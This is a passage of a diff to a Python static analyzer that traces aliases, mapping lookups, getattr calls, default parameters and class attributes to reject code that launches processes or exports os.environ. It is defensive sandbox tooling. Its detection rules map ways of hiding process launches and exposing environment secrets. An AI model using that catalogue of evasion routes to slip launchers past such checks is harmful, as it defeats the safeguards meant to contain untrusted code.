descriptor["invocation"]["isolated"] + and descriptor["invocation"]["quoted"] and descriptor["invocation"]["interpreter"] == normalized[0] for descriptor in heredoc_descriptors(command) ) @@ -9825,6 +12346,120 @@ def python_mapping_bindings(tree, modules, functions): return mappings +def python_mapping_lookup_alias_violation(tree, mappings): + """Reject aliases that invoke lookup methods on launcher-bearing maps.""" + parents = { + child: parent + for parent in ast.walk(tree) + for child in ast.iter_child_nodes(parent) + } + assignments = [] + bindings = set() + for node in ast.walk(tree): + if isinstance(node, ast.Assign): + for target in node.targets: + assignments.append( + (target, node.value, python_enclosing_scope(node, parents)) + ) + elif isinstance(node, (ast.AnnAssign, ast.NamedExpr)) and node.value is not None: + assignments.append( + (node.target, node.value, python_enclosing_scope(node, parents)) + ) + if isinstance(node, ast.Name) and isinstance(node.ctx, ast.Store): + scope = python_enclosing_scope(node, parents) + bindings.add((id(scope), node.id)) + elif isinstance(node, ast.arg): + scope = python_enclosing_scope(node, parents) + bindings.add((id(scope), node.arg)) + elif isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)): + scope = python_enclosing_scope(parents.get(node), parents) + bindings.add((id(scope), node.name)) + elif isinstance(node, ast.Import): + scope = python_enclosing_scope(node, parents) + for imported in node.names: + bindings.add((id(scope), imported.asname or imported.name.split(".", 1)[0])) + elif isinstance(node, ast.ImportFrom): + scope = python_enclosing_scope(node, parents) + for imported in node.names: + bindings.add((id(scope), imported.asname or imported.name)) + + aliases = {} + + def nearest_binding(name, scope): + for visible_scope in python_lexical_scope_chain(scope, parents): + key = (id(visible_scope), name) + if key in bindings: + return key + return None + + def launcher_bearing(mapping_name): + if mapping_name not in mappings: + return False + entries, _uncertain = mappings[mapping_name] + return any( + value in python_command_functions for value in entries.values() + ) or any( + key.rsplit(".", 1)[-1].lower() in python_command_leaf_names + for key in entries + ) + + for _ in range(len(assignments) + 1): + changed = False + for target, value, scope in assignments: + if not isinstance(target, ast.Name): + continue + mapping_name = None + if ( + isinstance(value, ast.Attribute) + and value.attr in {"get", "pop", "__getitem__"} + and isinstance(value.value, ast.Name) + and value.value.id in mappings + ): + mapping_name = value.value.id + elif ( + isinstance(value, ast.Call) + and ( + python_dotted_name(value.func) == "getattr" + or ( + isinstance(value.func, ast.Name) + and python_assigned_callable_alias( + value.func.id, "getattr", tree + ) + ) + ) + and len(value.args) in {2, 3} + and isinstance(value.args[0], ast.Name) + and value.args[0].id in mappings + and python_static_string_values_from_local_calls( + value.args[1], tree, parents + ) & {"get", "pop", "__getitem__"} + ): + mapping_name = value.args[0].id + elif isinstance(value, ast.Name): + source_binding = nearest_binding(value.id, scope) + mapping_name = aliases.get(source_binding) + target_binding = (id(scope), target.id) + if mapping_name is None or not launcher_bearing(mapping_name): + continue + if aliases.get(target_binding) != mapping_name: + aliases[target_binding] = mapping_name + changed = True + if not changed: + break + + for node in ast.walk(tree): + if not isinstance(node, ast.Call) or not isinstance(node.func, ast.Name): + continue + call_scope = python_enclosing_scope(node, parents) + binding = nearest_binding(node.func.id, call_scope) + if binding in aliases: + return ( + "Python unresolved command-capable mapping lookup alias " + f"{node.func.id!r} is not allowed on line {node.lineno}" + ) + return None + + def python_mapping_command(node, mappings, modules, functions): """Classify mapping/subscript launcher calls, including `.get` indirection.""" mapping_name = None @@ -9967,15 +12602,183 @@ def python_import_bindings(tree): for bound_target, bound_value in binding_pairs(target, value) ) + assigned_values = {} + for target, value, _destructured in assignment_bindings: + if isinstance(target, ast.Name) and value is not None: + assigned_values.setdefault(target.id, []).append(value) + parents = { + child: parent + for parent in ast.walk(tree) + for child in ast.iter_child_nodes(parent) + } + + iterable_bindings = [] + starred_iterable_aliases = set() + for node in ast.walk(tree): + if isinstance(node, (ast.For, ast.AsyncFor)): + target, value = node.target, node.iter + elif isinstance(node, ast.comprehension): + target, value = node.target, node.iter + else: + continue + if any(isinstance(candidate, ast.Starred) for candidate in ast.walk(target)): + starred_iterable_aliases.update( + bound_target.id for bound_target in target_names(target) + ) + iterable_bindings.extend( + (bound_target, value) + for bound_target in target_names(target) + ) + # Only names that could denote a command-capable launcher are tracked. # Ordinary direct callable assignments (for example `validator = # namespace.get`) remain outside this map. Destructured assignments are # tracked conservatively because an unresolved element cannot be proven # non-launching; such names remain mapped to None and fail closed. candidate_aliases = set() - for _ in range(len(assignment_bindings) + 1): + + def iterable_may_contain_launcher( + value, seen_names=None, seen_nodes=None, seen_functions=None + ): + if value is None: + return False + if seen_names is None: + seen_names = set() + if seen_nodes is None: + seen_nodes = set() + if seen_functions is None: + seen_functions = set() + if id(value) in seen_nodes: + return False + seen_nodes.add(id(value)) + if isinstance(value, ast.Name): + resolved = python_resolved_name(value, modules, functions) + if resolved in python_command_functions or value.id in candidate_aliases: + return True + if value.id in modules: + return False + if value.id in functions and functions[value.id] is None: + return True + if value.id in seen_names: + return False + seen_names.add(value.id) + return any( + iterable_may_contain_launcher( + candidate, + set(seen_names), + set(seen_nodes), + set(seen_functions), + ) + for candidate in assigned_values.get(value.id, ()) + ) + if isinstance(value, ast.Attribute): + resolved = python_resolved_name(value, modules, functions) + if resolved in python_command_functions: + return True + dotted = python_dotted_name(value) + if dotted and dotted.rsplit(".", 1)[-1] in python_command_leaf_names: + root = dotted.split(".", 1)[0] + return root in modules or root in candidate_aliases or root in functions + return False + if python_call_derived_command_alias(value, modules): + return True + if isinstance(value, ast.Call): + for candidate in python_local_call_return_values(value, tree, parents): + if iterable_may_contain_launcher( + candidate, + set(seen_names), + set(seen_nodes), + seen_functions | {python_dotted_name(value.func) or "call"}, + ): + return True + if ( + isinstance(value.func, ast.Attribute) + and value.func.attr in {"get", "items", "keys", "values", "pop"} + ): + return iterable_may_contain_launcher( + value.func.value, + set(seen_names), + set(seen_nodes), + set(seen_functions), + ) + if ( + isinstance(value.func, ast.Name) + and value.func.id in { + "dict", "enumerate", "iter", "list", "reversed", "set", + "filter", "map", "sorted", "tuple", "zip", + } + ): + return any( + iterable_may_contain_launcher( + argument, + set(seen_names), + set(seen_nodes), + set(seen_functions), + ) + for argument in value.args + ) + if ( + isinstance(value.func, ast.Attribute) + and python_dotted_name(value.func) == "dict.fromkeys" + ): + return any( + iterable_may_contain_launcher( + argument, + set(seen_names), + set(seen_nodes), + set(seen_functions), + ) + for argument in value.args + ) + if isinstance(value, ast.Starred): + return iterable_may_contain_launcher( + value.value, + set(seen_names), + set(seen_nodes), + set(seen_functions), + ) + if isinstance( + value, + ( + ast.List, + ast.Tuple, + ast.Set, + ast.Dict, + ast.ListComp, + ast.SetComp, + ast.DictComp, + ast.GeneratorExp, + ast.Subscript, + ast.IfExp, + ast.BinOp, + ast.BoolOp, + ), + ): + return any( + iterable_may_contain_launcher( + child, + set(seen_names), + set(seen_nodes), + set(seen_functions), + ) + for child in ast.iter_child_nodes(value) + if not isinstance( + child, + (ast.expr_context, ast.operator, ast.unaryop, ast.boolop, ast.cmpop), + ) + ) + return False + + candidate_bindings = [ + (target, value, destructured, False) + for target, value, destructured in assignment_bindings + ] + [ + (target, value, False, True) + for target, value in iterable_bindings + ] + for _ in range(len(candidate_bindings) + 1): changed = False - for target, value, destructured in assignment_bindings: + for target, value, destructured, iterable_target in candidate_bindings: if not isinstance(target, ast.Name): continue dotted = python_dotted_name(value) if value is not None else None @@ -9985,12 +12788,36 @@ def python_import_bindings(tree): if ( destructured or commandish + or ( + value is not None + and iterable_may_contain_launcher(value) + ) or python_call_derived_command_alias(value, modules) or target.id in modules or target.id in functions or (isinstance(value, ast.Name) and value.id in candidate_aliases) or (isinstance(value, ast.Name) and value.id in modules) or (isinstance(value, ast.Name) and value.id in functions) + or ( + ( + iterable_target + or isinstance( + value, + ( + ast.List, + ast.Tuple, + ast.Set, + ast.Dict, + ast.ListComp, + ast.SetComp, + ast.DictComp, + ast.GeneratorExp, + ast.Subscript, + ), + ) + ) + and iterable_may_contain_launcher(value) + ) ) and target.id not in candidate_aliases: candidate_aliases.add(target.id) changed = True @@ -9998,7 +12825,11 @@ def python_import_bindings(tree): break for alias in candidate_aliases: modules.pop(alias, None) - functions[alias] = None + functions[alias] = ( + unresolved_starred_launcher_container + if alias in starred_iterable_aliases + else None + ) def resolve_binding(node): dotted = python_dotted_name(node) @@ -10014,6 +12845,70 @@ def python_import_bindings(tree): return None return dotted + from_import_command_leaves = { + alias.asname or alias.name + for node in ast.walk(tree) + if isinstance(node, ast.ImportFrom) + and node.module in python_command_modules + for alias in node.names + if alias.name in python_command_leaf_names + } + + def default_launcher_candidates(node, seen): + found = set() + stack = [node] + while stack: + current = stack.pop() + if current is None or id(current) in seen: + continue + seen.add(id(current)) + if isinstance(current, ast.IfExp): + stack.extend((current.body, current.orelse)) + elif isinstance(current, ast.BoolOp): + stack.extend(current.values) + elif isinstance(current, ast.NamedExpr): + stack.append(current.value) + elif isinstance(current, (ast.Tuple, ast.List, ast.Set)): + stack.extend(current.elts) + elif isinstance(current, ast.Dict): + stack.extend(key for key in current.keys if key is not None) + stack.extend(current.values) + elif isinstance(current, (ast.ListComp, ast.SetComp, ast.GeneratorExp, ast.DictComp)): + if isinstance(current, ast.DictComp): + stack.extend((current.key, current.value)) + else: + stack.append(current.elt) + for generator in current.generators: + stack.append(generator.iter) + stack.extend(generator.ifs) + elif isinstance(current, ast.Subscript): + stack.append(current.value) + elif isinstance(current, ast.Call) and isinstance( + current.func, ast.Lambda + ): + stack.append(current.func.body) + elif isinstance(current, ast.Lambda): + stack.append(current.body) + elif isinstance(current, ast.Call): + stack.extend(python_local_call_return_values(current, tree, parents)) + stack.append(current.func) + stack.extend(current.args) + stack.extend( + keyword.value for keyword in current.keywords + ) + else: + resolved = resolve_binding(current) + if resolved in python_command_functions: + found.add(resolved) + elif ( + isinstance(current, ast.Name) + and current.id in from_import_command_leaves + ): + found.add(current.id) + if isinstance(current, ast.Name): + stack.extend(assigned_values.get(current.id, ())) + return found + # Resolve alias chains such as `launch = subprocess.run` and # `again = launch` without trusting their source order. Unknown or # shadowed assignment targets remain mapped to None and are rejected when @@ -10038,6 +12933,29 @@ def python_import_bindings(tree): break # A command-capable assignment that cannot be resolved remains mapped to # None and is rejected when called below. + for node in ast.walk(tree): + if not isinstance( + node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda) + ): + continue + positional = list(node.args.posonlyargs) + list(node.args.args) + defaults = list(node.args.defaults) + pairs = ( + list(zip(positional[-len(defaults):], defaults)) if defaults else [] + ) + pairs.extend( + (parameter, default) + for parameter, default in zip( + node.args.kwonlyargs, node.args.kw_defaults + ) + if default is not None + ) + for parameter, default in pairs: + resolved = resolve_binding(default) + if resolved in python_command_functions: + functions[parameter.arg] = resolved + elif default_launcher_candidates(default, set()): + functions[parameter.arg] = unresolved_starred_launcher_container return modules, functions, unresolved @@ -10056,9 +12974,443 @@ def python_resolved_name(node, modules, functions): return dotted +def python_class_namespace_owner(node, parents): + """Find class-suite bindings without crossing a method or nested scope.""" + current = parents.get(node) + while current is not None: + if isinstance(current, ast.ClassDef): + return current + if isinstance(current, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda, ast.Module)): + return None + current = parents.get(current) + return None + + +def python_parameter_value_sources(tree, parents): + """Index actual local-call arguments using the existing callable binders. + + Publish staged edges before resolving callee values. Each original + (call, local callable, descriptor reference) is bound once; a fixed point + adds only such finite pairs. Clear value caches between stages so a + partial parameter graph cannot certify a later lookup as insensitive. + """ + argument_sources = getattr(tree, "_issue79_parameter_value_sources", None) + if argument_sources is not None: + return argument_sources + argument_sources = {} + tree._issue79_parameter_value_sources = argument_sources + call_sites = [site for site in ast.walk(tree) if isinstance(site, ast.Call)] + initial_callees = {} + for site in call_sites: + callees = [] + if isinstance(site.func, ast.Name): + callees.extend((function, None) for function in + python_local_function_candidates(site.func.id, site, tree, parents) + + python_local_lambda_candidates(site.func.id, site, tree, parents)) + callees.extend((function, site.func) for function in + python_local_bound_method_candidates(site.func.id, site, tree, parents)) + elif isinstance(site.func, ast.Lambda): + callees.append((site.func, None)) + elif isinstance(site.func, ast.Attribute): + callees.extend((function, site.func) for function in + python_local_method_candidates(site.func, site, tree, parents)) + initial_callees[site] = callees + + def bind(site, callees): + for function, method_reference, is_bound in callees: + positional = list(function.args.posonlyargs) + list(function.args.args) + if method_reference is not None and positional and is_bound: + receiver_parameter, positional = positional[0], positional[1:] + receiver_targets, receiver_visited = [method_reference], set() + while receiver_targets: + receiver_target = receiver_targets.pop() + if id(receiver_target) in receiver_visited: + continue + receiver_visited.add(id(receiver_target)) + if isinstance(receiver_target, ast.Attribute) and receiver_target.attr == function.name: + argument_sources.setdefault(receiver_parameter, []).append((receiver_target.value, None)) + elif isinstance(receiver_target, ast.Name): + binding_index = getattr(tree, "_issue79_local_return_index", ({}, {}))[0] + for scope in python_lexical_scope_chain(python_enclosing_scope(site, parents), parents): + bindings = binding_index.get((id(scope), receiver_target.id), ()) + if bindings: + receiver_targets.extend(bindings) + break + elif isinstance(receiver_target, ast.Call): + receiver_targets.extend(python_local_call_return_values(receiver_target, tree, parents)) + expanded_arguments = [] + for argument in site.args: + if (isinstance(argument, ast.Starred) and isinstance(argument.value, (ast.Tuple, ast.List)) + and not any(isinstance(item, ast.Starred) for item in argument.value.elts)): + expanded_arguments.extend(argument.value.elts) + else: + expanded_arguments.append(argument) + cursor, uncertain_position = 0, False + for argument in expanded_arguments: + if isinstance(argument, ast.Starred): + for position, parameter in enumerate(positional[cursor:]): + argument_sources.setdefault(parameter, []).append((argument.value, ast.Constant(value=position))) + uncertain_position = True + elif uncertain_position: + for parameter in positional[cursor:]: + argument_sources.setdefault(parameter, []).append((argument, None)) + else: + if cursor < len(positional): + argument_sources.setdefault(positional[cursor], []).append((argument, None)) + cursor += 1 + if function.args.vararg is not None: + argument_sources.setdefault(function.args.vararg, []).append(( + ast.Tuple(elts=expanded_arguments, ctx=ast.Load()), ("tail", len(positional)))) + named_parameters = {parameter.arg: parameter for parameter in positional + list(function.args.kwonlyargs)} + for keyword in site.keywords: + if keyword.arg in named_parameters: + argument_sources.setdefault(named_parameters[keyword.arg], []).append((keyword.value, None)) + elif keyword.arg is None: + for name, parameter in named_parameters.items(): + argument_sources.setdefault(parameter, []).append((keyword.value, ast.Constant(value=name))) + if function.args.kwarg is not None: + extra_keywords = [keyword for keyword in site.keywords if keyword.arg not in named_parameters] + argument_sources.setdefault(function.args.kwarg, []).append((ast.Dict( + keys=[ast.Constant(value=keyword.arg) if keyword.arg is not None else None for keyword in extra_keywords], + values=[keyword.value for keyword in extra_keywords]), None)) + bound_pairs = set() + while True: + tree._issue79_value_provenance_cache = {} + tree._issue79_module_callable_cache = {} + changed = False + for site in call_sites: + callees = list(initial_callees[site]) + references = python_value_provenance(site.func, tree, parents) + for function in references: + if not isinstance(function, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)): + continue + owner = python_class_namespace_owner(function, parents) + descriptors = [reference for reference in references + if isinstance(reference, ast.Attribute) and reference.attr == getattr(function, "name", None) + and owner is not None and owner in python_value_provenance(reference.value, tree, parents)] + callees.extend((function, reference) for reference in descriptors or [None]) + for function, reference in callees: + # Resolve aliases before deciding whether a descriptor + # consumes self. A parameter may receive either a class or + # an instance; never publish a speculative bound offset. + alternatives = [reference] + if isinstance(reference, ast.Name): + alternatives = [item for item in references if isinstance(item, ast.Attribute) + and item.attr == function.name] or alternatives + for method_reference in alternatives: + is_static = any(python_dotted_name(item) == "staticmethod" + or isinstance(item, ast.Name) and python_assigned_callable_alias(item.id, "staticmethod", tree) + for item in getattr(function, "decorator_list", ())) + is_classmethod = any(python_dotted_name(item) == "classmethod" + for item in getattr(function, "decorator_list", ())) + if method_reference is None or is_static: + modes = {False} + elif is_classmethod: + modes = {True} + elif isinstance(method_reference, ast.Attribute): + origins = python_value_provenance(method_reference.value, tree, parents, receiver_origins=True) + modes = {False for item in origins if isinstance(item, ast.ClassDef)} + if any(isinstance(item, ast.Call) and any(isinstance(candidate, ast.ClassDef) + for candidate in python_value_provenance(item.func, tree, parents)) for item in origins): + modes.add(True) + else: + modes = {python_local_method_is_bound(site, function, tree, parents)} + for is_bound in modes: + pair = (site, function, method_reference, is_bound) + if pair in bound_pairs: + continue + bound_pairs.add(pair) + bind(site, [(function, method_reference, is_bound)]) + changed = True + if not changed: + break + tree._issue79_value_provenance_cache = {} + tree._issue79_module_callable_cache = {} + return argument_sources + + +def python_destructured_binding_values(target, value, requested, resolve): + """Project literal nested/starred patterns without mixing known positions.""" + projected_values = [] + pending_pairs = [(target, value)] + visited_pairs = set() + while pending_pairs: + pattern, projection_source_value = pending_pairs.pop() + pair = (id(pattern), id(projection_source_value)) + if pair in visited_pairs: + continue + visited_pairs.add(pair) + if pattern is requested: + projected_values.append(projection_source_value) + continue + if isinstance(pattern, ast.Starred): + pending_pairs.append((pattern.value, projection_source_value)) + continue + if not isinstance(pattern, (ast.Tuple, ast.List)): + continue + alternatives = resolve(projection_source_value, "expand") or resolve(projection_source_value) + for alternative in alternatives: + if (isinstance(alternative, (ast.Tuple, ast.List)) + and not any(isinstance(item, ast.Starred) for item in alternative.elts)): + stars = [index for index, item in enumerate(pattern.elts) if isinstance(item, ast.Starred)] + for index, item in enumerate(pattern.elts): + if stars and isinstance(item, ast.Starred): + tail = len(pattern.elts) - index - 1 + stop = len(alternative.elts) - tail + pending_pairs.append((item.value, ast.List(elts=alternative.elts[index:stop], ctx=ast.Load()))) + else: + position = index if not stars or index < stars[0] else index - len(pattern.elts) + if -len(alternative.elts) <= position < len(alternative.elts): + pending_pairs.append((item, alternative.elts[position])) + else: + # Unresolved expansion keeps alternatives instead of guessing + # a slot. Name/call aliases resolve through the caller's guard. + candidates = alternative.elts if isinstance(alternative, (ast.Tuple, ast.List)) else [alternative] + for candidate in candidates: + elements = resolve(candidate.value, True) if isinstance(candidate, ast.Starred) else [candidate] + pending_pairs.extend((item, element) for item in pattern.elts for element in elements) + return projected_values + + +def python_value_provenance(value, tree, parents, seen=None, initial_selection=None, receiver_origins=False): + """Bounded value reachability; specimens are AST data, never evaluated. + + Retain every visible alternative, but select known literal container keys. + The complete binder inventory owns shadowing and global/nonlocal scopes. + Unknown binders stop lookup rather than falling through to an outer name. + """ + cached_values = getattr(tree, "_issue79_value_provenance_cache", None) + if cached_values is None: + cached_values = {} + tree._issue79_value_provenance_cache = cached_values + cache_key = (value, initial_selection, receiver_origins) + if seen is None and cache_key in cached_values: + return cached_values[cache_key] + pending = [(value, initial_selection)] + visited = set() if seen is None else set(seen) + found = [] + while pending: + expression, selection = pending.pop() + if expression is None: + continue + identity = (id(expression), id(selection) if isinstance(selection, ast.AST) else selection) + if identity in visited: + continue + visited.add(identity) + if selection is None: + found.append(expression) + if isinstance(expression, ast.Name): + python_sensitive_imported_function_alias(expression, tree, parents) + inventory = getattr(tree, "_issue79_sensitive_imported_alias_bindings", {}) + for scope in python_sensitive_alias_scope_chain(expression, parents): + bindings = inventory.get((id(scope), expression.id), ()) + if not bindings: + continue + if any(kind == "global" for kind, _binding in bindings) and not isinstance(scope, ast.Module): + continue + if any(kind == "nonlocal" for kind, _binding in bindings): + continue + for kind, binding in bindings: + if kind == "assignment": + pending.append((binding.value, selection)) + elif kind == "unknown" and isinstance(binding, ast.Name): + owner = parents.get(binding) + while isinstance(owner, (ast.Tuple, ast.List, ast.Starred)): + owner = parents.get(owner) + if isinstance(owner, ast.Assign) and binding in owner.targets: + pending.append((owner.value, selection)) + elif isinstance(owner, (ast.For, ast.AsyncFor, ast.comprehension)): + rows = python_value_provenance(owner.iter, tree, parents, visited, "iterate", receiver_origins) + if owner.target is binding: + pending.extend((row, selection) for row in rows) + else: + for row in rows: + for source in python_destructured_binding_values(owner.target, row, binding, + lambda item, projection=None: python_value_provenance(item, tree, parents, visited, projection, receiver_origins)): + pending.append((source, selection)) + elif kind == "unknown" and isinstance(binding, ast.arg): + for actual, actual_selection in python_parameter_value_sources(tree, parents).get(binding, ()): + if actual_selection is None: + pending.append((actual, selection)) + else: + pending.extend((selected, selection) for selected in + python_value_provenance(actual, tree, parents, visited, actual_selection, receiver_origins)) + arguments = parents.get(binding) + if isinstance(arguments, ast.arguments): + positional = list(arguments.posonlyargs) + list(arguments.args) + defaults = list(zip(positional[-len(arguments.defaults):], arguments.defaults)) if arguments.defaults else [] + defaults.extend(zip(arguments.kwonlyargs, arguments.kw_defaults)) + pending.extend((default, selection) for parameter, default in defaults + if parameter is binding and default is not None) + elif kind == "unknown" and isinstance(binding, (ast.ClassDef, ast.FunctionDef, ast.AsyncFunctionDef)): + pending.append((binding, selection)) + break + elif isinstance(expression, ast.Call): + pending.extend((returned, selection) + for returned in python_local_call_return_values(expression, tree, parents)) + # Descriptor binding needs the constructor expression to remain + # distinguishable from a class value, through the same aliases, + # selections and supplied-argument edges as ordinary provenance. + if not receiver_origins: + pending.extend((candidate, selection) + for candidate in python_value_provenance(expression.func, tree, parents, visited) + if isinstance(candidate, ast.ClassDef)) + elif isinstance(expression, ast.ClassDef): + if not receiver_origins: + pending.extend((base, selection) for base in expression.bases) + elif isinstance(expression, ast.Attribute): + class_members = getattr(tree, "_issue79_provenance_class_members", None) + if class_members is None: + direct_members, stored_members = {}, {} + for statement in ast.walk(tree): + if isinstance(statement, (ast.FunctionDef, ast.AsyncFunctionDef)): + method_owner = python_class_namespace_owner(statement, parents) + if method_owner is not None: + direct_members.setdefault((method_owner, statement.name), []).append(statement) + continue + if not isinstance(statement, (ast.Assign, ast.AnnAssign)) or statement.value is None: + continue + member_targets = statement.targets if isinstance(statement, ast.Assign) else [statement.target] + class_owner = python_class_namespace_owner(statement, parents) + for member_target in member_targets: + if isinstance(member_target, ast.Name) and class_owner is not None: + direct_members.setdefault((class_owner, member_target.id), []).append(statement.value) + elif isinstance(member_target, ast.Attribute): + stored_members.setdefault(member_target.attr, []).append((member_target.value, statement.value)) + class_members = (direct_members, stored_members, + any(isinstance(item, ast.ClassDef) for item in ast.walk(tree))) + tree._issue79_provenance_class_members = class_members + direct_members, stored_members, has_classes = class_members + if has_classes: + receiver_classes = {candidate for candidate in python_value_provenance(expression.value, tree, parents, visited) + if isinstance(candidate, ast.ClassDef)} + for classdef in receiver_classes: + pending.extend((source, selection) for source in direct_members.get((classdef, expression.attr), ())) + for receiver, source in stored_members.get(expression.attr, ()): + owners = python_value_provenance(receiver, tree, parents, visited) + if any(owner in receiver_classes for owner in owners): + pending.append((source, selection)) + elif isinstance(expression, ast.Subscript): + # Nested extraction retains all reachable element alternatives. + # A finite flattening mode avoids an ever-growing index stack on + # cyclic aliases such as a = a[0]. Single literal keys stay exact. + pending.append((expression.value, expression.slice if selection is None else True)) + elif isinstance(expression, (ast.List, ast.Tuple, ast.Set)) and selection is not None: + if selection is True: + pending.extend((item.value, True) if isinstance(item, ast.Starred) else (item, None) + for item in expression.elts) + pending.extend((item, True) for item in expression.elts if not isinstance(item, ast.Starred)) + continue + spreads = [position for position, item in enumerate(expression.elts) if isinstance(item, ast.Starred)] + if len(spreads) == 1: + spread_position = spreads[0] + spread_alternatives = python_value_provenance( + expression.elts[spread_position].value, tree, parents, visited, "expand", receiver_origins) + spread_values = [item for item in spread_alternatives + if isinstance(item, (ast.Tuple, ast.List)) + and not any(isinstance(part, ast.Starred) for part in item.elts)] + if spread_values: + pending.extend((ast.Tuple(elts=(expression.elts[:spread_position] + item.elts + + expression.elts[spread_position + 1:]), ctx=ast.Load()), selection) + for item in spread_values) + if all(item in spread_values for item in spread_alternatives): + continue + if selection == "expand": + # An unresolved/cyclic spread stays as a collection + # alternative; a precise sibling never discards it. + found.append(expression) + continue + if isinstance(selection, tuple) and selection[0] == "tail": + # Known packs have expanded above. For unresolved spreads, + # consume only the fixed entries definitely before a spread; + # all remaining alternatives may occupy the first vararg. + consumed = min(selection[1], spreads[0]) if spreads else selection[1] + found.append(ast.Tuple(elts=expression.elts[consumed:], ctx=ast.Load())) + continue + if any(isinstance(item, ast.Starred) for item in expression.elts): + pending.extend((item.value, True) if isinstance(item, ast.Starred) else (item, None) + for item in expression.elts) + elif (isinstance(selection, ast.Constant) and isinstance(selection.value, int) + and not isinstance(selection.value, bool) + and -len(expression.elts) <= selection.value < len(expression.elts)): + pending.append((expression.elts[selection.value], None)) + else: + pending.extend((item, None) for item in expression.elts) + if selection is True: + pending.extend((item, True) for item in expression.elts) + elif isinstance(expression, ast.Dict) and selection is not None: + for key, item in zip(expression.keys, expression.values): + if key is None: + pending.append((item, selection)) + elif (selection is True or not isinstance(selection, ast.Constant) + or not isinstance(key, ast.Constant) or key.value == selection.value): + pending.append((key if selection == "iterate" else item, None)) + if selection is True: + pending.append((item, True)) + elif isinstance(expression, (ast.ListComp, ast.SetComp, ast.GeneratorExp, ast.DictComp)) and selection is not None: + yielded_value = ((expression.key if selection == "iterate" else expression.value) + if isinstance(expression, ast.DictComp) else expression.elt) + pending.append((yielded_value, None)) + if selection is True: + pending.append((expression.value if isinstance(expression, ast.DictComp) else expression.elt, True)) + elif isinstance(expression, ast.IfExp): + pending.extend(((expression.body, selection), (expression.orelse, selection))) + elif isinstance(expression, ast.BoolOp): + pending.extend((item, selection) for item in expression.values) + elif isinstance(expression, (ast.NamedExpr, ast.Starred)): + pending.append((expression.value, selection)) + if seen is None: + cached_values[cache_key] = found + return found + + +def python_module_callable_reference(value, tree, parents): + """Recognize imported module callables through the same value graph.""" + module_callable_cache = getattr(tree, "_issue79_module_callable_cache", None) + if module_callable_cache is None: + module_callable_cache = {} + tree._issue79_module_callable_cache = module_callable_cache + if value in module_callable_cache: + return module_callable_cache[value] + imported_callable = False + references = list(python_value_provenance(value, tree, parents)) + visited_references = set() + while references: + reference = references.pop() + if id(reference) in visited_references: + continue + visited_references.add(id(reference)) + root_reference = reference + while isinstance(root_reference, ast.Attribute): + root_reference = root_reference.value + if not isinstance(root_reference, ast.Name): + continue + references.extend(python_value_provenance(root_reference, tree, parents)) + python_sensitive_imported_function_alias(root_reference, tree, parents) + inventory = getattr(tree, "_issue79_sensitive_imported_alias_bindings", {}) + for scope in python_sensitive_alias_scope_chain(root_reference, parents): + bindings = inventory.get((id(scope), root_reference.id), ()) + if not bindings: + continue + if any(kind in {"global", "nonlocal"} for kind, _binding in bindings) and not isinstance(scope, ast.Module): + continue + imported_callable = imported_callable or any( + kind == "import" or isinstance(binding, ast.Import) + for kind, binding in bindings) + break + module_callable_cache[value] = imported_callable + return imported_callable + + def python_class_command_attribute_violation(tree, modules, functions): """Reject unresolved conditional and instance/class launcher attributes.""" attributes = {} + parents = {child: parent for parent in ast.walk(tree) + for child in ast.iter_child_nodes(parent)} + + def launcher_value(value): + return next((resolved for candidate in python_value_provenance(value, tree, parents) + if (resolved := python_resolved_name(candidate, modules, functions)) in python_command_functions), None) def record(target, value): if not isinstance(target, ast.Attribute): @@ -10069,7 +13421,7 @@ def python_class_command_attribute_violation(tree, modules, functions): or attribute_name.split(".", 1)[0] in python_command_modules ): return - resolved = python_resolved_name(value, modules, functions) + resolved = launcher_value(value) if resolved in python_command_functions: attributes[attribute_name] = resolved @@ -10111,18 +13463,66 @@ def python_class_command_attribute_violation(tree, modules, functions): elif isinstance(node, ast.ClassDef): if node.name in python_command_modules: continue - for statement in node.body: - if isinstance(statement, ast.Assign): + for statement in ast.walk(node): + if python_class_namespace_owner(statement, parents) is not node: + continue + if isinstance(statement, ast.ImportFrom): + if statement.module == "os" and any( + alias.name in {"environ", "environb"} for alias in statement.names): + return "Python class namespace exports an environment mapping" + for alias in statement.names: + resolved = f"{statement.module}.{alias.name}" + if resolved in python_command_functions: + attributes[f"{node.name}.{alias.asname or alias.name}"] = resolved + elif isinstance(statement, ast.Import): + for alias in statement.names: + for launcher in python_command_functions: + module = alias.name if alias.asname else alias.name.split('.')[0] + if launcher.startswith(module + '.'): + member = alias.asname or module + attributes[f"{node.name}.{member}.{launcher[len(module) + 1:]}"] = launcher + elif isinstance(statement, ast.Assign): for target in statement.targets: if isinstance(target, ast.Name): - resolved = python_resolved_name(statement.value, modules, functions) + resolved = launcher_value(statement.value) if resolved in python_command_functions: attributes[f"{node.name}.{target.id}"] = resolved elif isinstance(statement, ast.AnnAssign) and isinstance(statement.target, ast.Name): - resolved = python_resolved_name(statement.value, modules, functions) + resolved = launcher_value(statement.value) if resolved in python_command_functions: attributes[f"{node.name}.{statement.target.id}"] = resolved + class_bindings = {} + alias_bindings = {} + for candidate in ast.walk(tree): + scope = python_enclosing_scope(candidate, parents) + if isinstance(candidate, ast.ClassDef): + class_bindings.setdefault((scope, candidate.name), []).append(candidate) + elif isinstance(candidate, (ast.Assign, ast.AnnAssign)): + targets = candidate.targets if isinstance(candidate, ast.Assign) else [candidate.target] + for target in targets: + if isinstance(target, ast.Name) and candidate.value is not None: + alias_bindings.setdefault((scope, target.id), []).append(candidate.value) + + def receiver_paths(value, seen): + if id(value) in seen: + return set() + seen.add(id(value)) + if isinstance(value, ast.Attribute): + return {path + "." + value.attr for path in receiver_paths(value.value, set(seen))} + if isinstance(value, ast.Call): + return receiver_paths(value.func, set(seen)) + if isinstance(value, ast.Name): + for scope in python_lexical_scope_chain(python_enclosing_scope(value, parents), parents): + classes = class_bindings.get((scope, value.id), ()) + aliases = alias_bindings.get((scope, value.id), ()) + if classes or aliases: + paths = {item.name for item in classes} + for alias in aliases: + paths.update(receiver_paths(alias, set(seen))) + return paths + return set() + for node in ast.walk(tree): if not isinstance(node, ast.Call): continue @@ -10131,17 +13531,30 @@ def python_class_command_attribute_violation(tree, modules, functions): "Python conditional process launcher target is not allowed " f"on line {node.lineno}" ) - dotted = python_dotted_name(node.func) - if dotted in attributes: - return ( - "Python process launcher stored on a class attribute is not allowed " - f"({dotted!r} resolves to {attributes[dotted]!r}) on line {node.lineno}" - ) + for reference in 